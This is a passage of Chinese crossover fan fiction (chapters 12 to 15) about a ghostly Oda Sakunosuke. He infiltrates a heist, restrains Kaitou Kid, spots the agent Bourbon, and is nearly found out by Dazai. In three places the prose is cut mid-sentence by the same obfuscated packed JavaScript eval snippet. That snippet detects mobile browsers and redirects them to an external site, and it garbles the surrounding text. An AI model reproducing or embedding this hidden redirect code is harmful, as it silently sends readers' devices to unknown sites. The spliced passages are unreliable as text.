游隼在这之前参加的任务,大部分都是让他坐阵后方,提供一些技术支援,这次亲身上阵,还没开始破解密室就出了一身的汗。 两人一路来到密室外,游隼将背包取下,拿出电脑,尝试从外部连接上密室内的安保系统。 黑暗中,呼出的热气打在屏幕上,一串串代码随着敲击整齐地排列。 高度紧张的状态下,游隼感觉各种字符在眼前飞舞,眼花缭乱间,竟在代码中看了一张人脸。 游隼深呼出一口气,擦掉额角的汗珠。 他在内心告诫自己,这是他获取代号后的第一次外勤任务,千万不能掉链子。 平复下心情,他再次看向屏幕。 代码中的人脸还在! 那不是幻觉! ‘鬼啊!’ 尖叫被他自己用手堵在喉咙里,同时用另一只手指着屏幕中的人脸朝秃鹫示警。 秃鹫同样被吓了一跳,但经验丰富的他很快便反应过来。瞬间从后腰掏出武器对准隐藏在游隼身后的不速之客。 从进别墅起就一直跟着两人的织田作之助面无表情地抓住秃鹫的枪//口,平静道:“别紧张,是我。” 对方好像只是被自己吓了一跳,总之先装一波。 黑暗中,秃鹫只看到一道红发身影站在游隼身后,并且身手敏捷地控制住了自己的武器。 他内心惊疑不定,警惕地吐出两个字:“秃鹫。” 游隼听出这是要互相确认身份,随即跟着说:“游隼。” 织田作之助:“……” 什么? 秃鹫和游隼是什么意思? 思索间,脑海中一阵电光闪过。 他似乎明白“是条鱼”这个暗号的真正含义了。 犹豫的时间不宜太长,否则会引起对方的怀疑甚至是身份的败露。 一个鱼类的代号突然从死去的记忆中浮现。 织田作想也不想就回答:“青花鱼。” 感知到对方两人在听到青花鱼的瞬间放松了防备,织田作跟着松了一口气。 看来他赌对了。 但他也发现了自己找错了目标,因为这两人的代号都不是酒名,看样子蛰伏在东京的犯罪组织不止黑衣组织,还有一个以动物名为代号的神秘组织。 现在只能假装他们的同伴,然后找机会报警了。 ‘不过,这次多亏了太宰啊。’ 将“青花鱼”做为代号的织田作之助欣慰地想到。 12.第 12 章 【作为杀手,如果潜行途中被人识破了伪装,将目击者全部干掉,也勉强算得上是一次成功的潜行。】 这是织田作之助少年时期遇到的一位前辈在弥留之际告诉他的话。 他古井无波的双眼倒映着秃鹫和游隼防备与信任各一半的复杂神情。 他们在害怕什么?担心他一言不合要了他们的命吗? 织田作之助淡定地想到,他早就不杀人了。 秃鹫紧盯着这条突然冒出来的“青花鱼”,长期徘徊于生死边缘的工作经验告诉他,这个人绝对不简单。 无论是悄无声息的潜行,还是凌厉果断的动作,更不要说那平稳得如同死人的气息。 所以他的代号为什么是“青花鱼”这种听起来就很无害且温和的鱼类? “刚才在电话里你说要提前去拿一些货,货呢?”秃鹫冷不丁地发问。 织田作之助想了想,回答:“没拿到。” 在不知道该怎么扯谎的时候,真诚比什么都好用。 秃鹫被他的回答噎了一下,面目凶狠的男人嘴角抽动,似是想骂点脏话,但碍于青花鱼刚才展现出的武力值,又默默咽了回去。 他转向游隼,一巴掌扇向后者的后脑勺。 “看什么看,赶紧干活!” 游隼:“……抱歉。” 虽然知道自己大概是被迁怒了,但面前两个人他都惹不起,只能埋头解密。 在打开密室之前,秃鹫和织田作分别站在游隼两侧。 秃鹫在思考这次任务看起来并不需要出动三名代号成员,难道是他忽略了什么重点。 织田作则是在发呆的间隙,等待白马总监的回复。 他刚才趁对方不注意,偷偷联系了白马总监,简单描述了一下已经发生的命案和正在进行的盗窃案,希望警方能及时赶来阻止这两只猛禽的行动。 明显这两人都不是黑衣组织的人,织田作也就没必要假扮对方的同伴套情报了,他现在需要做的,就是看住两人,等待警方到来。 看过小说的都知道,在看似平静且无事发生的时候,就是意外来临的时候。 【天衣无缝】的预警来得突然,织田作只来得及将身边毫无防备的游隼带到安全区域,两人先前站立的位置就被十几支冷箭射成了筛子。 捧着电脑的游隼被先前的动作晃得头晕目眩,只是个普通程序员的他紧紧地抱着织田作的腰。 这几年混黑的经验告诉他,像青花鱼这样沉默寡言但身手敏捷的人,在这种时候绝对是比警察还可靠的存在。 唯一的缺点就是,青花鱼先生身上好凉。 抱着他就像抱着一具尸体。 为了隐匿行踪,织田作之助一直保持着游魂的体征,意识到他们落入了陷阱,他将八爪鱼一样缠着自己的游隼撕下来放到一个相对安全的位置。 机关启动的机械音在走廊上回响,织田作之助看向另一边的秃鹫。 他们呈对角线分别躲在走廊的两头,不清楚是否还有隐藏的监控监视着他们的行为,织田作只能朝他打了个撤退手势。 可惜秃鹫并不领情。 隔着一条走廊,他举起手机冲织田作大骂:“妈的,有隐藏任务你不早说!” 正常人的视力肯定看不见秃鹫手机屏幕上的对话内容,但织田作之助不是人。 他看到了秃鹫和一个海鸥头像的人在一分钟前进行了对话。 对话内容大概是秃鹫疑惑为什么一个简单的盗窃任务需要出动三名代号成员,而海鸥则是很诧异他竟然不知道这只是用来迷惑怪盗基德的幌子,真正的任务内容是装成被怪盗基德狩猎的蝉,在对方现身后再趁机将这个总是碍事的家伙干掉。 海鸥的最后一句话是。 ——难道那条鱼没告诉你们吗? 很好,极具嘲讽意味。 看来飞禽的队伍也没有看上去那么和谐。 现在压力给到织田作,他迎着秃鹫要杀人的眼神,挠头:“抱歉,忘记了。” 秃鹫:“XXXXX!” 事态已经足够明了。 他们三人看似是来偷取“人鱼之泪”,但实际上这只是一个幌子,真正的目的是提前埋伏在这里的怪盗基德。 别墅内的机关已经启动,任何一扇门、一块地板都可能隐藏着致命的杀机。 织田作之助在令人眼花缭乱的机关中宛若游鱼。 在秃鹫看来,就像是提前知晓了机关的进攻轨迹,看似惊险实则轻松地躲开了每一次攻击。 突然间,悬挂在二楼的水晶吊灯突然掉落,织田作之助顺着吊灯的方向,闪身躲进一旁突然开门的会客室内。 门内,一道雪白的人影闪过,随之而来的,是一发扑克牌。 如果被子//弹迎面射击,除了躲开没有别的选择,但如果是被扑克牌射击…… 看着能划开钢筋的扑克牌被小野柳吉用两根手指夹住,怪盗基德的扑克脸差点就要破防。 这家伙是和京极真一样的赛亚人吗?而且他为什么会出现在这里,他到底是侦探还是那些家伙的同伴? 在来之前,怪盗基德早已做足的准备,他知道这次很有可能是那些家伙设下的陷阱,但为了更多地获取那个组织的情报,他必须来。 织田作之助开口了:“我不是来抓你的。” 情况紧急的情况下,解释的话要说得言简意赅,否则就是浪费时间。 然而在他说完后,怪盗基德面无表情道:“你们是来杀我的。” 他内心反复提醒自己切记要保持“poker face”,冷冷地看着小野柳吉,寻找下手反击的机会。 织田作:“……” 好像被怀疑了,遇到这种情况该怎么解释呢? “我是个侦探。”他说,“而且我已经报警了。” 这样解释的话,对方应该就能接受了吧。 本质上是个小偷的怪盗基德:“……” 他好不容易才树立起来的心防似乎瞬间就被击碎了。 他有种强烈的预感,小野柳吉这个人一定会成为他路上的巨大绊脚石。 而且这个人到底有没有搞清楚状况啊,现在他们可是和两个嗜血的邪恶组织成员一同被困在这间被改造成行刑场的别墅内,报警有用吗?侦探有用吗? 下意识的,怪盗基德趋于相信小野柳吉并非那个组织的一员。这一点连他本人都没有意识到。 两人对峙时,秃鹫和游隼正手忙脚乱地躲避机关。 游隼抱着一根上下摆动的雕花木柱,几近崩溃的他无助地说:“我们该怎么办啊。” 秃鹫闪身躲过朝他飞来的楼梯,怒道:“等老子出去,一定要把那条青花鱼砍成五段!” 他想到海鸥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16370079|182585||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刚刚在聊天界面里提到,原本海鸥才是参加这次任务的第三名成员,但老大不知道从哪里听说怪盗基德的弱点和“鱼”有关,于是才临时换人。 谁知道这次来的青花鱼不但没起到什么作用,还对他们隐瞒了任务情报。 咬紧牙关将扎进腹部的木刺拔出,秃鹫愤恨地看向青花鱼所在的房间门,恨不得现在就冲进把人暴揍一顿。 “待会我出去把他们打晕绑起来,警察应该快到了,你在这里等我,不要偷东西。”织田作靠在门上,听着门外的动静,对怪盗基德叮嘱。 这种被人当小孩子对待的既视感…… 感觉自己怪盗的威严被对方踩在脚下,黑羽快斗逆反道:“我凭什么要听你的。” 织田作之助转头,平静的双眼倒映出窗边怪盗基德的身影。 他静静地看着对方,直到将后者看得浑身刺挠,才说:“或着我先把你绑起来。” 怪盗基德和外面那群用动物名作代号的家伙之间肯定存在某种矛盾,比起肆意践踏生命的动物组织,织田作自然而然地站到了怪盗基德的一边。 不过,他虽然只是个孩子,但盗窃总归是不对的。 黑羽快斗才不会相信这种软绵绵的威胁,上次是因为大意,这次他可是做足了…… 他眼前的男人忽然消失了! 随之而来的是第六感疯狂地预警,还没来得及闪避,黑羽快斗只感到一阵天旋地转,然后四肢像变形金刚一样发出咔咔的响声。 三秒钟不到,他就被人用窗帘绑成了粽子吊在天花板上。 甚至到最后,他的魔术礼帽还稳稳地戴在头上。 黑羽快斗:“……” 做出这一切的人到他面前,四目相对,虽然对方什么都没说,但黑羽快斗从视线中读出了满满的威胁。 他竟然被一个水豚一样的男人威胁了! 处理完不听话的未成年,织田作之助离开房间。 屋外的机关仍在启动中,偶尔还能听到一两句男人的辱骂和祈求,被吊起来的黑羽快斗像只蠕动的蚕,挣扎着从窗帘中探出一只手。 窗外,警笛声由远及近,他加快手里的动作。 —— 目暮十三突然接到上级的命令,说有群众举报,某住宅发生了恶性伤人和入室盗窃事件,赶紧叫上值班刑警赶来。 在某栋别墅外,他们发现了一名早已失去呼吸的醉汉。 “所有人,提高警惕!”目暮大声提醒,一行人小心翼翼地进入别墅。 刚踏进一步,就发现别墅内一片狼藉,就像是……汽车人和霸天虎在这里发生了大战。 继续往里走,三个衣衫不整的男人被绑在大厅里。 强光手电的灯光打在三人脸上,几人皱了皱眉,缓缓醒了过来。 游隼只记得昏迷前的最后一刻,他看到了青花鱼那张青白冰冷的脸,然后就像是被泥头车狠狠撞击了头部。 眼前阵阵光晕闪烁,他睁开眼睛,对上目暮十三严肃的脸。 一动双手,发现自己和秃鹫都被牢牢地绑在了一起。再转头,猝不及防地对上一张阴郁的臭脸。 下意识地,他朝这个陌生的男人问:“你是谁?” 本次任务的第三名成员,代号“白鲨”的男人恶狠狠地瞪着他,几乎是咬牙切齿地说。 “蠢货,你们被人耍了!” 13.第 13 章 【总监很擅长捉小偷,因为他总能预判到对方的下一步动作,他管这叫“人类机械性行为分析”。 遗憾的是地府没有那么多小偷让他大展身手,因为地府能偷的东西太少,否则以总监的能力,一定能在地府评上反扒先锋。】 用总监给的方法,织田作之助在处理完那几只“野生动物”后,花了好几分钟终于找到已经飞出去几里地的怪盗基德。 他飘在空中,远远地坠在使用滑翔翼逃离的怪盗基德身后。 同样以宝石为目标的大盗和犯罪组织。 怪盗基德曾经销声匿迹过好多年,再次复出,不应该这么年轻。 所以是第二代怪盗,那第一代去哪了? 前方被鬼魂盯上的黑羽快斗只觉得后背阵阵凉意袭来,他止不住地回头,身后什么都没有。 更令他后背发凉的是,跟着他的鸽子一直朝他身后的某处发出奇怪的咕咕叫。 都说动物拥有能看见不寻常事物的第三只眼睛。 难道他身后—— 黑羽快斗浑身汗毛都快竖起来了,为了查明真相,他向着附近一栋施工中的大楼飞去。 收起滑翔翼,他警惕地看向自己飞来的方向。 除了一弯明月和稀疏的星星,什么都没有…… “你在找我。” 平静的声音像恐怖片里闪现突脸的苍白鬼脸,吓得黑羽快斗差点大叫出声。 他嗖地一下转身,举起扑克枪对准发出声音的方向,同时连退好几步。 “你你你你怎么在这!” 织田作之助从黑暗中缓步而出,月光打在那张苍白的脸上,直到他彻底走出阴影,才有了一丝活人的感觉。 “我跟着你来的。” “怎么可能!我可是一路飞过来的,难不成你也会飞?”惊吓过后,黑羽快斗一时间没能维持住怪盗的逼格,像惊慌失措的高中生一样发出质问。 织田作之助点头:“我也会飞。” 黑羽快斗:“……” 这人把他当三岁小孩了吗?人怎么可能会飞。 他上下打量对方,普通的格子衬衣,皮衣外套倒是有点品味,就是一股铁锈味,简单的牛仔裤和马丁靴,无论从哪里看都不像是能藏下一个滑翔伞的穿搭。 所以他把滑翔伞藏哪里了?刚才在夜空中隐身的原理是什么?为什么鸽子能看到他但自己发现不了? 因为是站在活人的角度思考,黑羽快斗压根没想到对方说的能飞,单纯是不借助任何外力也能让双脚离地的那种飞。 “你跟着我干什么?”想不明白的他决定先问点其他的。 从先前的交手可以看出对方并不想要他的命,也不是和那伙人一样的犯罪分子。 难不成他真是个侦探。 织田作之助直截了当:“你还未成年吧,这个年纪,你应该去上学,而不是偷东西,也不该和危险的人为敌。” 突如其来的说教让黑羽快斗愣了片刻,他很快就冷着脸反击:“大叔你未免管得太宽了,这是我自己的事情。” 看着对方表情依旧平静如水,他有种一拳打在棉花上的无力感。 “你跟上来就是为了对我说教?” “嗯,看到有人误入歧途,这种事没办法不管吧。”织田作说。 黑羽快斗:“……” 好朴实的回答,好多的槽点。 “东京犯罪分子那么多,为什么大叔你偏偏盯着我不放呢?” “你还是个孩子吧。” “……” 不是,难道这个人在意的点就只有未成年犯罪吗? 许多年没有被人用“孩子”这个词称呼,黑羽快斗掉了一地的鸡皮疙瘩。 他故意压低声音:“你猜错了,我已经成年了。” 织田作面无表情:“只有孩子才会这样解释。” 真正的成年人是不会在这种地方浪费口舌的,比如说有人把他当成孩子的话,他只会用行动证明自己。 黑羽快斗很想打开滑翔伞逃离这个不会吐槽的男人,但他还没摸清对方是怎么跟踪上来的,贸然离开,极有可能再次被跟踪。 可就这样乖乖站在这里听无聊的说教,他也是不愿意的。 思来想去,他选择转移话题:“大叔你根本不清楚其中的恩怨纠葛,我劝你还是别多管闲事。” “恩怨?你是指那个组织和第一代怪盗之间的矛盾吗?” “什么?你怎么知道这些事的!” “从你的表情里推理出来的。”织田作之助语气淡淡。 被水豚朴实无华的攻击,彻底击碎了伪装的黑羽快斗再次陷入沉默。 从一开始就不该招惹这种看似老实实则难缠到极点的人。 他很想问,只是几个表情就能推理出这么多?那你为什么还是个查无此人的小侦探?你伪装那个组织的成员又是为了什么?你和那个组织之间发生过什么吗? 但他忍住了,说多错多,面对侦探,最好的交流就是零交流。 织田作的推理能力其实不算优秀,他只是有个擅长揣测人心的好友,旁观过几次太宰治审讯敌对组织卧底,让他隐约摸到了一些窍门。 没想到简单一试,就诈出了怪盗基德的情报。 不过对方对他的警惕也跟着提高了,这种时候,得主动透露一些情报。 “我认错了人,阴差阳错加入了那个组织的行动。”织田作解释,“现在他们应该都被警方带走了。” 注意到怪盗基德的扑克脸有所松动,他继续说:“所以,遇到困难的话,向警方寻求帮助吧。” 黑羽快斗:“……” 怎么看我俩的可疑程度都是不相上下的吧。 什么叫做认错了人就加入了行动,这部分才应该好好解释清楚啊!而且,为什么这家伙能一脸正直地劝别人有困难找警察啊! “有什么不对吗?” “哪里都不对!大叔你自己的身份明明也很可疑吧,上次在铃木博物馆还被当成嫌疑人,我觉得你才应该找警察好好聊聊!” “我找过了。” 还是东京警视厅的头头,白马总监。 不过这种事就不用说了,免得被怪盗基德把自己的身份想得更复杂。 “什么叫你找过了?我说你能好好说话吗?为什么每次的回答都是满满的槽点啊,你是故意想通过这样的方式引诱我吐槽你吗,然后从我的破绽中获取情报吗?” 黑羽快斗上前抓着织田作之助的衣领大声吐槽。 织田作:“……” 有一瞬间,他竟然在怪盗基德的身上看到了安吾的影子。 “没有。”他说,“你先冷静一下。” “我冷静不了!” “那我把你打晕。” 大楼边缘并没有安装栏杆,如果不小心掉下去的话肯定会死,为了安全起见,还是让情绪过于激动的怪盗基德先安静下来比较好。 黑羽快斗:“……我冷静了,你先冷静一下。” 织田作之助:我很冷静。“ 又来了,这种让人控制不住的槽点!< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16374830|182585||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>黑羽快斗连续做了好几个深呼吸。 “你说找错了人,大叔你在找什么人?“他再次转移话题。 “一群喜欢穿黑衣服的犯罪分子,他们以酒名做代号,信奉神秘主义,组织势力很大,还在研究一种奇怪的药物。“ 想着怪盗基德说不定知道点什么,织田作之助将自己知道的黑衣组织的特征一一道来。 这熟悉的描述,黑羽快斗还真的知道这个组织。 甚至还伪装成其中一名叛逃的成员,在那群危险的家伙面前配合大侦探演了场戏。 他审视地看向对方,在彻底明确敌我关系前,大侦探和那个组织的关系肯定不能告诉这个小野柳吉。 但现在的情况是,他要是不能拿出点什么有效情报,对方肯定不会放过自己。 黑羽快斗斟酌着说:“我曾经见过那个组织的成员。” “有着淡金色短发,小麦色皮肤的男人,喜欢装成服务生打探情报,他的代号是波本。” “波本。” 织田作跟着重复了一遍。 “好了,作为交换,大叔你必须放我走了。” 织田作之助露出不赞同的表情。 意识到对方又要开始说教,黑羽快斗张开滑翔翼,离开前,朝织田作之助狡黠一笑。 “让怪盗找警察是绝对不可能的,不过我愿意退一步,如果真遇到解决不了的事件,我就来找大叔你吧。” 银色的羽翼张开,远去的怪盗基德在夜空中化作一个白色的小点,直至消失不见。 —— “波本。” “波本!” “啊,怎么了?” 一辆白色马自达RX-7上,陷入沉思的安室透被身边的声音唤醒。 水无怜奈敲了敲车窗:“走过了。” 他们今晚约在组织的某间地下酒吧接头,以基尔和波本的身份交换情报。结束后,因为附近刚结束一场大型演唱会,一时打不到车,于是代号波本的安室透便主动提出送她回家。 “抱歉抱歉,刚刚在想一个任务的报告。”安室透在下一个路口掉头。 实际上,他想的是,他在公安的下属兼接头人风见裕也传来情报,警视厅那边可能又要送人进入组织卧底。 一提到警视厅的卧底,他控制不住地想到几年前那个看不到月亮和星星的夜晚,和失去生机倒在血泊里的友人。 组织安插在警视厅里的卧底找到了吗?他们的计划足够完备吗?如果再出现上次那样的情况怎么办? 听到这个消息的时候,他鲜少没能控制住情绪,朝电话那头的风见发泄似地吼道。 可回过神来,他除了朝无关人员发泄情绪,什么都做不了。 ……一如几年前的那个夜晚。 将车稳稳停下,安室透露出招牌的微笑,将内心如海浪般翻涌的情绪压下。 “抱歉抱歉,害你下班晚了。” 水无怜奈摆了摆手表示无需介意。 下车后,还在打哈欠的她注意到不远处站在楼下的人影。 “小野先生?” 刚飞回来的织田作之助打了个招呼,但他的视线却落在水无怜奈身后的安室透脸上。 “水无小姐,晚上好。” 淡金色头发,小麦色皮肤,高大帅气的外形,身上穿着的简单的白衬衣,以嵌有蓝宝石的波洛结点缀,很像服务人员的穿搭。 刚从怪盗基德那里得到情报,就遇上了处处都符合情报描述的对象。 织田作:东京这么小的吗? 14.第 14 章 身份是电视台主播的邻居,但房间内总是有股淡淡的血腥味。 怪盗基德口中的组织成员——波本,深夜开车将邻居送回家。 要说是偶遇的话,可能性太低了。 所以两人其实认识,并且关系不错。 织田作之助客套地关心了下水无怜奈的病情后回到公寓,拿出纸笔,开始写稿。 反正邻居不可能一夜之间搬走,比起调查神秘的女主播,他的截稿日已经不远了,再不动笔的话……说不定会被鬼灯大人和松田齐齐找上门来。 那场景,对一只鸽子精来说简直就是酷刑。 【总监并不像他表现出的那样傲慢不可一世,反而他是个心思细腻的鬼。 虽然嘴上说着麻烦,但在看到恶鬼欺凌小鬼、老鬼诈骗新鬼时,他都会拿出地府执法证上前阻止……】 织田作并不擅长描写那些酷炫惊艳的场面,他习惯于用简单朴实的语言描绘一个平易近人的形象,在日常的点滴中赞颂美好。 鬼灯辅佐官曾评价,他这是因为经历过真正的风浪,才会对平静的生活如此向往。 一天的忙碌下来,书桌前的织田作仍精神抖擞,现世的经历和与松田阵平来往的经历让他灵感迸发,下笔丝滑流畅。 不知不觉间,天又亮了。 满意地画上最后一个句号,核对完一遍错字后,他将足足有五页的手稿收好放进信封。 还好鬼魂是不会因为熬夜长黑眼圈的,但高强度的写稿让鸽之助的大脑不可避免的有些涣散。 伸了个懒腰,他离开书桌,来到厨房。 ‘为了庆祝完稿,今早就吃辣味咖喱吧。’ 于是通宵完的织田作换了身衣服出门买煮咖喱用的食材,回家的时候还遇上了出门去上班的水无怜奈。 “小野先生,早上好。”一身职业装的水无怜奈习惯性地看了一眼织田作提着的购物袋。 里面装着胡萝卜、土豆、大葱之类的蔬菜。 都是煮咖喱的原材料。 死去的记忆开始攻击她的胃,水无怜奈感觉胃部隐隐幻痛。 织田作:“早上好。” 没有错过水无怜奈扫过购物袋的视线,他想了想,说:“我准备煮咖喱,要……” “不用了,时间不早先告辞了。” 水无怜奈说完就匆匆下楼离开了。 她趁小野柳吉不在家时偷偷翻进他的公寓看过,窃听设备、枪//支、夜行衣等等装备都没有,卧室也只有一张简单的书桌,上面凌乱的放着一堆空白的稿纸。 这几天对方也没再找借口约她出门,甚至连见面的机会都很少。 加上她又重新调查了“小野柳吉”的身份,对方真的只是个业务能力一般的三流侦探。 怀疑消除,水无怜奈不会把时间浪费在不重要的人身上,更何况这人还喜欢请人吃变态辣咖喱。 本想用甜口咖喱赔罪的织田作:“……” —— 在调查邻居还是波本之间,织田作选择了后者。 就算是打着正义的旗号,在确定邻居身份前,他也不能擅自闯进一位独居女性的家里。 有了样貌特征,昨晚也见到了对方驾驶车辆的车牌号,再结合职业特点,要在东京把人找出来还是有一定难度的。 ‘还是问问白马总监吧。’ 织田作之助这样想着,朝警视厅的方向飘去。 刚飘到警视厅门口,就看到之前有过一面之缘的柯南从大楼里冲刺到门口,朝着一个方向使劲按他的眼镜腿。 鬼魂形态的织田作看着这抽象的一幕,感叹现在的小朋友的行为越来越难懂了。 不像幸介他们,有一点坏主意就都写脸上了。 顺着柯南的方向看过去,只看到一辆保时捷老爷车缓缓驶离。 以为柯南是喜欢老式汽车,织田作没往心里去,继续一路飘到白马总监的办公室外。 天气预报说今天一整天都是晴天,气温适宜出门野餐露营。 白马总监却不这么觉得,刚刚关好的窗户被风吹开,铺面而来的冷风让他赶紧把外套穿上,正要走过去关窗户时,身后传来一道幽幽的鬼语。 “白马总监,您好。” 白马总监噌地一下回头,正好看到织田作之助从半透明变成实体的全过程。 “……” 虽然见过一次,但这种超自然的现象还是会令人本能地害怕。 对这种隐蔽的接头方式表示理解,白马总监还是不可避免地叹了一口气。 “你好,如果可以的话,下次还是从门口进吧。” 织田作:“……好。” “这次来是想请您帮忙查一个人的信息。” 将他掌握的关于波本的基本信息一一道来,看着人近中年的白马总监一笔一划认真记下,织田作之助有点恍惚。 如果让总监看到这一幕,他肯定会不计形象地仰天长笑。 摇了摇头,将脑海中冒犯的想法甩出去,织田作看到白马总监拿着写满情报的小纸条拨出一通电话。 这种明显违规的秘密调查不方便找自己手底下的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16381144|182585||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人来做,上次帮织田作之助完善身份信息也一样,白马总监觉得专业的事就该交给专业的人。 “喂,黑田吗,有个人需要你帮忙调查一下。” 黑田兵卫,曾任警察厅警备局警备企划课警员,因为一次意外昏迷十年后,恢复意识的他被调任长野县担任搜查一课课长。 实际上,他的身份是公安警察,目的和织田作之助一样,调查那个神秘的黑衣组织。 鬼魂这种怪力乱神的情报不宜让除自己以外的人知晓,于是白马总监只说这是警视厅准备派往那个组织卧底的秘密警员调查到的最新情报。 黑田兵卫面无表情地听完,早在白马总监提到“金发,麦色皮肤”时,他就有所预料。 因为红方情报不互通这一巨大Bug,那位秘密警员一来就把矛头指向了他们警察厅精心培养的卧底搜查官——降谷零。 当然降谷零的身份早已查无此人,他已经化名安室透,渗透进了那个组织的高级成员中,并获得了代号“波本”。 耐心地等对方说完,黑田兵卫没有解释,只是淡淡地嗯了一声。 “我明白了,我会派人调查的。” 隐藏在警视厅的组织卧底还没找到,他不会轻易向任何人透露降谷的信息,包括他的顶头上司白马总监。 这是为了保护降谷零的安全,也是避免几年前的惨剧再次重演。 简短的通话结束,白马总监转向织田作之助。 “很快相关的情报就会发送到织田君你的手机上,正好我这边也有个任务想交给织田君帮忙调查。” 他将窗帘拉上,室内暗了下来,一份贴有密封条的档案袋被放到桌面上。 “这是一位非常优秀的警官,在执行卧底任务时,因为敌人潜伏在警方内部的卧底,光荣殉职。” “关于卧底的调查进行了整整三年,但至今仍没有关键突破。” “织田君,这是我和那位鬼灯辅佐官的交换条件,希望你能在接下来的时间里,参与到调查中。” 在织田作之助观察他的同时,白马总监也不断做出判断与评估。 他没有在见到织田作之助的第一时间就把这个委托拿出来,是因为他还没有完全相信对方的身份和实力。 这几天下来,织田作之助不但直接抓捕了一个秘密组织的三名高级成员,还在调查黑衣组织一事上展现出惊人的情报搜集能力。 综合评估下,白马总监决定相信他。 阴差阳错下获得了警视总监认可的织田作。 “我一定尽力调查。” 15.第 15 章 档案袋中因公殉职的警员长着一张和诸伏狱卒一模一样的脸。 织田作之助当然不会把这当作巧合。 他拿起那份绝密文件,一字一句看完。 阅读间,他难免想到了和太宰初遇安吾时,后者正在整理龙头抗争期间牺牲的成员资料。 ‘他们的生命不该是一串冰冷的数字,也不该用死亡几千几百人来形容。’ 当时的安吾大概说了这样一句话。 资料中详细记录了名为诸伏景光的警官生前经历,幼年因意外失去父母,与亲哥哥的分开到东京生活,大学毕业后考入警校,在警视厅工作不满一年又被派往黑衣组织卧底,最后因身份暴露殉职。 短暂的一生最终被浓缩为几页纸的档案。 将关键的情报一一记下,织田作之助郑重地将档案收好放回桌上。 他再次表态:“我会认真调查的。” 为正义牺牲的人不该悄无声息地沉睡在黑暗中。 哪怕诸伏景光已经在地府任职,并且看似不近人情地替鬼灯辅佐官催稿,他也会调查清楚真相。 交接完情报,织田作之助飘出警视厅。 寻找潜伏在警视厅的组织卧底,比起从警视厅这边着手调查,还是直接加入黑衣组织更直接高效。 所以当务之急是找到昨晚的那位金发男子。 白马总监说调查情报需要一点时间,在这期间,他先到处看看吧。 轻飘飘地飞在空中,织田作之助看着下方的街道,正当他飞过铃木博物馆时,下方一个熟悉的身影让他下意识停了下来。 虽然身高变了、衣着变了、总是缠住一只眼睛的时尚单品绷带也变了,但织田作还是第一时间就认出了对方。 那是他在黑//手//党中交到的第一个朋友。 刚从铃木博物馆调查完“小野柳吉”的太宰治拿着博物馆负责人提供的联系方式。 按理说他现在应该直接掏出手机打给这个叫做“小野柳吉”的私家侦探,用尽刑讯逼供的手段查明对方的身份。 可他的手指像是被冻住了一样,完全动弹不得。 ‘小野侦探啊,上次可是在对战怪盗基德时帮了大忙,那身手,大家都以为他是特种部队退伍的军人呢。’ ‘就是他的伪装手法还得再精进精进,只用胶水沾点假胡子就以为能装成上年纪的人,哈哈。’ ‘大家都说他情绪稳定得可怕,无论遇到什么事都是一副平淡无所谓得表情。’ 红棕发色,蓝眼,身手矫健,情绪稳定。 所有特征都精准地指向太宰治熟悉的那个人。 可那个人是他在四年前亲眼目睹了死亡的友人。 为了排除死而复生这一点,他几天前去墓地检查了织田作的尸体。 尸体还在,DNA也确认了那是织田作的尸骨。 所以是谁窃用了他好友的身份在东京活动。 一想到死去的友人被别有用心之人挖出身份肆意利用,太宰治就控制不住自己的情绪。 看着手写的电话号码,他动作缓慢地拿出手机。 “叮铃铃” 电话拨通的瞬间,清脆的铃声在太宰治的耳中回响。 他今天的情绪很不对劲,甚至影响到了他对外界的感知,有一瞬间他竟然听到同样频率的铃声从空中传来。 “咳咳。” 太宰清了清嗓子,手心的汗浸湿了绷带。 他静静地站在那里,等待电话接通。 只可惜这通电话不会被人接起。 半空中的织田作之助早在口袋中地府专用的电话铃声响起的瞬间就将声音关掉了。 哪怕他拿出了职业生涯中最快的手速,也没能阻止铃声,以至于它还是响了一秒。 不敢挂断电话,那只会引起太宰更深的怀疑。 也不敢接起,对方是太宰的话,一定能在对话的瞬间察觉到他的身份。 拿着不断震动的手机,织田作平静地陷入手足无措的僵硬中。 黑//手//党曾经流传这样一句话,“太宰治敌人最大的不幸,就是成为他的敌人”。 没想到有一天,这句话竟然能用到自己身上。 凭他那点伪装的功夫,根本不可能骗过太宰。 若是告诉对方自己的身份,搞不好太宰会当场自//杀。 思索间,电话因为无人接听自动挂断,织田作之助松一口气的同时,太宰治再次拨打了这个号码! “叮铃铃” 同样是只响了一秒不到就被织田作关掉声音,但太宰治也确认了自己心中的猜想。 这个号码的主人就在附近,他朝四周看出,来往的行人神色如常,想了想,他抬起头,跟随直觉看向空中的某处。 织田作之助猝不及防地对上太宰治那双鸢色的眼睛。 尽管他隐去了身形,但还是有种被对方看透的错觉。鬼魂不会流汗,但他仍有种汗流浃背的紧张感。 